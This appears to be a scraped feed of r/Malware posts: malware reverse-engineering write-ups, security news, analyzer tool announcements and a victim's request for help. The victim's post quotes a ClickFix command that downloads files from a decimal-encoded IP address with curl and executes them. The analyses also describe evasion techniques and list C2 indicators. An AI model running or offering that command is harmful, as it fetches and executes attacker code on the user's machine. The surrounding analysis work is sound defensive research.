r/Malware • • Mar 16 '16

Please view before posting on /r/malware!

170 Upvotes

This is a place for malware technical analysis and information. This is NOT a place for help with malware removal or various other end-user questions. Any posts related to this content will be removed without warning.

Questions regarding reverse engineering of particular samples or indicators to assist in research efforts will be tolerated to permit collaboration within this sub.

If you have any questions regarding the viability of your post please message the moderators directly.

If you're suffering from a malware infection please enquire about it on /r/techsupport and hopefully someone will be willing to assist you there.


r/Malware • • 12h ago

Emulating VBScript Execute chains and environment checks for static maldoc triage: notes from building an analyzer

3 Upvotes

I maintain MaldocTrace, an open-source maldoc analyzer (disclosure: I'm the author). The newest release focuses on OneNote droppers, and I wanted to share what it took to recover the final command from IcedID, Emotet and Gozi .one samples without execution, since a lot of the obstacles are generic.

1. The payload is built at run time. These scripts concatenate, Replace() and Chr() their way to a string and pass it to Execute or ExecuteGlobal. A regex over the source sees noise. Running the statements in an emulator and handing the built string back to the interpreter unwinds the obfuscation layer by layer.

2. Stages are written to disk and launched. A typical chain writes a small .vbs and a larger file with a harmless extension (.html), then runs wscript /e:vbscript file.html. The emulator keeps a virtual file system, so when a written file is launched it is analyzed as the next stage, with its own hash and report.

3. Some branches depend on things that never happen in a static run. For example "if the downloaded file is larger than N bytes, run it". Without a network the condition is false and the interesting branch is never reached. When a condition can't be resolved, both sides are explored and the events from the unresolved side are marked speculative, so the analyst knows which commands are certain and which are conditional.

Example: IcedID OneNote dropper, SHA-256 4cdab0573e8b094fe8937a00c833cee67b8ccd9dbb5ae706624e5c12bdb7ae21. The chain it recovers:

OneNote FileDataStoreObject (49 KB VBScript)
  -> writes %TEMP%\rad5F3A1A3F5dar.vbs and %TEMP%\rad5F3A1A3F5dar.html, runs the .vbs
  -> wscript /e:vbscript %TEMP%\rad5F3A1A3F5dar.html
  -> rundll32.exe "C:\Users\user\AppData\Local\Temp\rad5F3A1.tmp.html",#1

The three intermediate scripts come out with their SHA-256 as IOCs (61e30e50…, 71490a53…, 833d25d9…), and the second-stage URL is among the indicators of the last stage.

Limitations, to be upfront: it's an emulator, so it covers a supported subset of VBScript/VBA and the Windows objects malware commonly uses. When it hits something it doesn't model, the report says partial instead of guessing.

Code and docs: https://github.com/debugactiveprocess/MaldocTrace

I'd like to hear about chains it fails on.


r/Malware • • 17h ago

Bazuka Android malware steals banking credentials and cryptocurrency addresses

Thumbnail threatfabric.com
5 Upvotes

Dutch security company ThreatFabric has documented Bazuka, a previously unknown modular Android malware framework.

The malware includes 23 modules capable of keylogging, intercepting SMS and authentication codes, remotely controlling devices and replacing cryptocurrency addresses.

One unusual feature allows the malware to capture the phone's home or lock screen and display that image as a fake overlay, concealing malicious activity occurring behind it.

Bazuka also integrates AI tools into its criminal control panel to help operators manage infections.

A compromised Android phone can expose banking information, two-factor authentication codes and cryptocurrency transfers. A fake screen may prevent the victim from noticing unauthorized activity.


r/Malware • • 1d ago

Reversed a VIP Keylogger Sample Delivered via a Signed LuaJIT Host

7 Upvotes

Hi all, I reversed a VIP Keylogger sample with an unusual delivery chain and wrote up the analysis.

Quick summary:

- It starts as a ~4 MB JScript that's almost all padding (one Unicode character repeated tens of thousands of times) and functions that never get called

- The dropper removes its own Mark-of-the-Web and drops a LuaJIT interpreter, its DLL and a Lua script. The interpreter and DLL are legit and signed by Sangfor Technologies. Only the Lua script is malicious

- The Lua script is obfuscated with Prometheus: a rotated constant table and base64 with a shuffled alphabet. I worked out the algorithms and used Claude to rewrite them in Python

- Through LuaJIT's FFI it patches AMSI and ETW, fills memory with decoy strings, decrypts the embedded payload and hollows it into MSBuild.exe

- There's a hidden persistence path, a Run key with a null-prefixed name so regedit can't show it, but it's switched off in this build

- The payload is VIP Keylogger. It goes after browser passwords, cookies and cards, mail clients, Wi-Fi profiles and the Windows product key

- Exfil is SMTP via hosting2.ro.hostsailor[.]com and a Telegram bot. There are also some unused DDNS hosts on port 8081 in the code

Full writeup with IOCs: https://inkman97.github.io/vipkeylogger-analysis/


r/Malware • • 1d ago

idk.. this could be the 1st LoongArch (258) cpu RAT malware (Linux/EasyShell)

Thumbnail blog.malwaremustdie.org
1 Upvotes

r/Malware • • 2d ago

Reversed WardenStealer Malware

2 Upvotes

Hi all, I reversed WardenStealer, a new infostealer that first showed up this summer, and wrote up the analysis.

Quick summary:

- It is a fake jli.dll that gets side-loaded by a legit java.exe

- Stage 1 uses heavy control-flow flattening and opaque predicates. Ghidra struggled with it, and plain linear disassembly worked better

- Every string is encrypted on its own with a custom 3-layer decoder: base64 with a shuffled alphabet, an LCG XOR keystream and an LZ-style decompressor. I used Claude rewriting it in Python and decoded about 500 strings

- Stage 2 is a Rust DLL that only ever lives in RWX memory

- It checks for VMs and sandboxes. In my lab it just showed a "yolo" message box and quit

- It goes after browser creds and cookies, crypto wallets, Discord, Steam and Roblox sessions, and takes screenshots

- C2 is phigerma[.]quest

Full writeup with IOCs and scripts: https://inkman97.github.io/wardenstealer-analysis/

Some parts are still open, like which VM check makes it bail out and how the C2 protocol works. Feedback is welcome, and so is anyone else who has a sample.


r/Malware • • 2d ago

Popular websites compromised in bid to steal crypto, target iPhone users

Thumbnail reuters.com
1 Upvotes

(Partial excerpt)

Nov 16 (Reuters) - Some of the world's most visited websites, including ​those of Zoom (ZM.O), opens new tab, HSBC (HSBA.L), opens new tab, Equifax (EFX.N), opens new tab, CNN, Salesforce (CRM.N), opens new tab and Ikea, were compromised in an effort to ‌steal cryptocurrency and infect iPhones, a security researcher said on Monday.

Malicious JavaScript was aimed at visitors to websites belonging to 178 organizations across multiple sectors through Optimizely, a website optimization platform, according to researcher Scott Helme. Optimizely confirmed the incident and said it had ​identified "a security incident in which an unauthorized party exploited a vulnerability in Experimentation and used ​it to add malicious JavaScript to some customer projects."

According to Helme, the scripts attempted ⁠to replace cryptocurrency payment addresses with the attacker's wallet. The malicious script also sought to capture payment card ​details as users entered them, steal cookies and screenshots, and deploy exploit code targeting Apple's (AAPL.O), opens new tab iOS devices, Helme ​said. Cybersecurity firm Hudson Rock said it had also found evidence that the affected sites had served malicious code to visitors.


r/Malware • • 2d ago

I accidentally got malware attack

0 Upvotes

so i stupidly got into this cloudfare website where it ask me to bypass the human test, I was aware this website looks sus and i still follow the step it told me.

set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\loop.txt 1441424556/980?If1OS7&& curl.exe -sLo %tmp%\S001.ps1 1441424556/990?If1OS7&& for /f "delims=" %i in (loop.txt) do %i

that’s the script i ran.

I noticed something wrong and remove my wifi and lan connection in 1 minute.

Checked temp folder and found S001 and loop files. Run offline windows security check no threat, check task scheduled nothing weird.

I also using kvrt now and it’s not done yet, also i already change all of my accounts credential from my emails, my apps like discords, steam and more. But i’m still afraid of the risk. Need someone to help me with this.


r/Malware • • 3d ago

Microsoft's official Python agent framework hijacked to distribute malware

Thumbnail theregister.com
2 Upvotes

r/Malware • • 3d ago

New DarkCore RAT Static Analysis

2 Upvotes

I did a fully static analysis of a sample of DarkCore, a newly emerged RAT (first advertised on forums in August, infections seen since late October according to BlackFog). This build is v3.8.0.

The chain has five stages:

  • VBS: hundreds of junk lines; the real blob is split across four functions, then base64 + XOR decoded into a second VBS.
  • Stage 2 VBS: reads its own original file and rebuilds a payload hidden in 1,900 comment lines (base93 + a custom Feistel cipher), producing a PowerShell script.
  • PowerShell: decrypts a .NET loader and the final payload, and loads the DLL in memory, finding AppDomain.Load(byte[]) by its signature via reflection instead of calling it by name.
  • .NET loader (Crypto Obfuscator, DES-encrypted string tables): process hollowing into RegSvcs.exe.
  • Native x64 RAT.

Some highlights from the RAT:

  • The config is XOR-encrypted in a custom .data2 section; I recovered the C2 (162.55.4[.]179:4869) and a 32-byte pre-shared key.
  • The C2 channel is surprisingly solid: X25519 ephemeral handshake, BLAKE2s KDF mixing in the PSK, ChaCha20-Poly1305 packets, basically WireGuard’s crypto stack. Captured traffic can’t be decrypted even with the config.
  • Plugins arrive as AES-GCM-encrypted PE modules.
  • Strings point to HVNC, remote desktop, keylogging, DPAPI credential theft and ETW/AMSI tampering. HVNC lets the operator act inside the victim’s already-authenticated browser sessions, which defeats a lot of anti-fraud checks.
  • Even though there isn't a geolocalization about the development of this malware, there’s a CIS geofence (Russia, Belarus, Kazakhstan, Uzbekistan, checked via GeoID, locale, time zone and keyboard layout) that makes the bot quit silently before contacting the C2. This can be an hint that the first development was made in Russia. It was disabled in this build.

Full analysis can be found here: https://inkman97.github.io/darkcore-analysis/


r/Malware • • 4d ago

CRPx0 ransomware deploys Python, disrupts security tools, deletes Volume Shadow Copies, and creates scheduled-task persistence before encrypting files.

Post image
11 Upvotes

r/Malware • • 4d ago

Trigram Campaign Impersonates 50 Brands to Infect Developers

Thumbnail kylesinvestigation.com
1 Upvotes

r/Malware • • 5d ago

Malware served through Optimizely hit BBC, Zoom and 176 other organizations

Thumbnail runtimewire.com
24 Upvotes

r/Malware • • 7d ago

Android TV & Google TV Forensic Suite (BadBox, XCPE, Vo1d & Malware Remediation)

5 Upvotes

Just launched on github: https://github.com/Mafarricos/badbox-tv-audit

To check if your android tv box (google tv, android tv) if there is malware and tries to fix it.
Mostly because this new XCPE Botnet discovered.

Let me know if it helped, it's optimized to be run by your AI agent, but if you understand scripts you can run it by yourself


r/Malware • • 9d ago

A hijacked discord invite within the Metis foundation community is being used to spread malware to the community + full analysis

8 Upvotes

Earlier last month, we discovered that a new malware campaign was launched using a hijacked Discord invite on the Metis Foundation community, where a fake GuildPass verification bot would convince users to verify their identity through a command in their CMD, resulting in a full compromise of the victim's machine

We tried to contact and notify Metis about this multiple times through LinkedIn and X, and we haven't heard back from them, so we decided to publish our research as a warning to their community since there are more than 630 users affected by this

We published two blogs on this topic: an overview blog explaining the attack and what to do if you ever ran the commands from the fake GuildPass bot

https://www.riven-labs.com/blogs/metis-s-offical-discord-link-now-leads-to-a-malware-trap

And another heavy technical blog where we showcased our research analyzing the malware and sharing everything in detail:

https://www.riven-labs.com/blogs/from-clickfix-to-full-compromise-analyzing-the-multi-stage-malware-behind-the-fake-metis-discord


r/Malware • • 10d ago

Active ScreenConnect attacks breach MSPs, impact dozens of organizations

3 Upvotes

r/Malware • • 12d ago

[Vorfallsbericht] Nextcloud LXC-Kompromittierung durch RichDocumentsCode (RCE) – Erkenntnisse und Behebung

Thumbnail reddit.com
1 Upvotes

r/Malware • • 12d ago

binkeep: check a suspicious file without uploading it anywhere

4 Upvotes

Sometimes you can't upload a file to an online scanner, for example when it comes from a client or contains private data. I made binkeep for that.

You open the page, drop the file in, and see what's inside: suspicious imports, strings like URLs and IPs, packer detection, signature check, YARA rules and disassembly. It never runs the file and never sends it anywhere. Everything happens in your browser, and files up to 512 MB work.

Try it: https://kano92-dir.github.io/binkeep/

Code: https://github.com/kano92-dir/binkeep

It's free and open source. Feedback is welcome, especially on what's missing for your workflow.


r/Malware • • 13d ago

ThreatCrush — Security Agent for Linux Servers

Thumbnail threatcrush.com
1 Upvotes

r/Malware • • 14d ago

I built relift, a Go malware decompiler that shows you Go instead of C pseudo-code

10 Upvotes

I've spent about the last year building relift and today I'm finally releasing it. I'm really proud of how it turned out so I wanted to share it here.

relift is a workbench for analyzing and triaging Go malware. If you've ever opened a Go binary in Ghidra you know the pain. A few lines of Go turn into hundreds of lines of C pseudo-code buried in runtime noise. I always hated that, and that's what our reconstruction engine is built to fix. It turns each function back into short, readable Go and keeps the matching assembly right next to it.

Since relift is made for malware analysis, I added something the usual tools don't have, a Findings tab that pulls together what matters in a sample, like network indicators and decoded strings, so the obvious stuff shows up right away.

The Lab is where the magic happens though. relift has its own emulator that can run a single function in a sandbox and show you what it returns. Point it at a string decoder or a config decryptor and you get the plaintext without ever running the sample. It also recovers names in garble-obfuscated binaries, works on Windows, Linux and macOS binaries (64 and 32-bit x86), and comes with a command-line tool if you want to script your triage.

It's free for non-commercial use. and the free version already includes all of the features along with access to the CLI

This is the very first release so I'd really appreciate it if you gave it a shot on a real sample. Any feedback is more than welcome, bugs, missing features, or a function it got wrong. That's exactly what will help me keep improving relift.

You can get it at https://www.riven-labs.com/relift

Relift in action analyzing a real-world sample

r/Malware • • 14d ago

Got a MBR Bootkit

1 Upvotes

I got a virus whole Avira told me that it was removed. While, I soonly noticed that my MBR Stuff and Bootloader might be edited. I was online on Windows 7 in 2025 because I didn’t know about the cybersecurity stuff. Like I heard about you can just fix it simply by running: bootsect /nt60 sys /mbr on the Windows 7 installation screen but I just want to make sure. Also, I had just VAIO Recoveryed my VAIO. I want to keep it’s VAIO OS! Also Avira said it was updating even it was EOL for 7 OS A few years ago, than Avira‘s file is empty.


r/Malware • • 14d ago

RE

Thumbnail reddit.com
0 Upvotes

r/Malware • • 15d ago

Fake Brazilian court app (STJCPE) spreading over WhatsApp drops a second APK and grabs VPN + accessibility

7 Upvotes

Got pulled into this last night because a friend's sister almost fell for it.

The scam: a friend of hers has an ongoing lawsuit, and a "lawyer" told that friend a big payout was coming, but if it all landed in her account she'd lose her welfare benefit (Bolsa Família), so someone else had to receive part of it. My friend's sister volunteered. Then the guy video called her, had her share her screen while she clicked around in her Caixa banking app, told her the account "can't receive more than 5k" (it can, she's had more than that), and sent her STJCPE.apk with the STJ logo on it. His photo was AI generated.

She got off the call, uninstalled, called the bank. Phone's getting reset anyway.

I took the APK into a rooted emulator, egress blocked at the host firewall, mitmproxy in front answering 502 to everything, snapshots before each run. JADX for the static side.

What I found:

- stage 1 is a repackaged AutoJS6 (org.autojs.autojs6) with a ProxyApplication packer shell, native libs under assets/vwwwwwvwww/, code loaded with InMemoryDexClassLoader

- assets/autojs.dat is XZ, unpacks to a zip that is stage 2 (br.alpha.bridge), same name and icon

- on a clean AVD stage 1 installed stage 2 with no visible prompt, installerPackageName=org.autojs.autojs6. on the first run I did get an install prompt, not sure yet why it differed

- logcat shows the VPN switching from org.autojs.autojs6 to br.alpha.bridge, all traffic going through tun0

- stage 2 then asks for accessibility with a portuguese "please allow to continue" screen. never granted it

- manifest also has media projection, camera, MANAGE_EXTERNAL_STORAGE, boot receiver, battery optimization exemption and a custom br.alpha.bridge.permission.TDOS_DIAGNOSE_BROADCAST

- stage 1 comes back after force stop

What I didn't get is the config. t.conf and a bunch of html assets are encrypted (entropy 5.9 to 7.3), no URLs or IPs in plaintext anywhere I looked. Frida hooks on the crypto classes made stage 2 segfault every time, so no C2 so far.

VT has stage 1 at 12/68 and stage 2 at 11/68. Labels are all over the place: SpyAgent, Btmob, SpyNote, generic dropper/banker.

If anyone has seen br.alpha.bridge or that TDOS permission before and knows what family this is, I'd really like to know.

Stage 1 SHA-256: 07781a65a4542ce90cf30d40a0340ec515f6b50a44452564e69e45e8eb4276e7

Stage 2 SHA-256: 58c97440bdf1967710c5738a62dcf0cf5197ae2b94dbda7347acbc82bbe4c5fc

Both are on VT, not sharing the sample anywhere else. Reported to CERT.br.